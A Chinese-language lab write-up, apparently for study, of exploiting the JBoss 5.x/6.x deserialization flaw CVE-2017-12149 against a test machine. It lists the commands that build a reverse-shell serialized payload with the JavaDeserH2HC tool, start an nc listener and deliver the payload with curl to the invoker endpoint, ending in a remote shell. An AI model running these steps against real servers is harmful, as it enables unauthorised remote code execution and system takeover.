本文主要记录一下JBOSSAS 5.x/6.x 反序列化命令执行漏洞的测试过程
仅供学习
文中利用到漏洞环境由phith0n维护: JBoss 5.x/6.x 反序列化漏洞(CVE-2017-12149)
靶机地址:192.168.1.102 服务端口:8080
测试机: 192.168.1.100
搭建好环境,访问地址:http://192.168.1.102:8080/ 及 http://192.168.1.102:8080/invoker/readonly
响应码500,证明漏洞存在。
下载漏洞利用工具: http://scan.javasec.cn/java/JavaDeserH2HC.zip
编译:(需要java环境)
javac -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap.java
运行:
java -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap ip:port //反弹shell的IP和端口
starnight:JavaDeserH2HC starnight$ javac -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap.java starnight:JavaDeserH2HC starnight$ java -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap 192.168.1.100:1337 Saving serialized object in ReverseShellCommonsCollectionsHashMap.ser
这样就会将序列化对象保存在ReverseShellCommonsCollectionsHashMap.ser中,用curl命令发送到Jboss服务地址。
先在测试机运行nc命令,进入监听模式:
starnight:temp starnight$ nc -lvv 1337
再打开另一个控制台,运行如下curl命令:
starnight:JavaDeserH2HC starnight$ curl -v http://192.168.1.102:8080/invoker/readonly --data-binary @ReverseShellCommonsCollectionsHashMap.ser
运行截图:
左侧是获取到shell,并执行命令。右侧是用curl命令运行截图。
References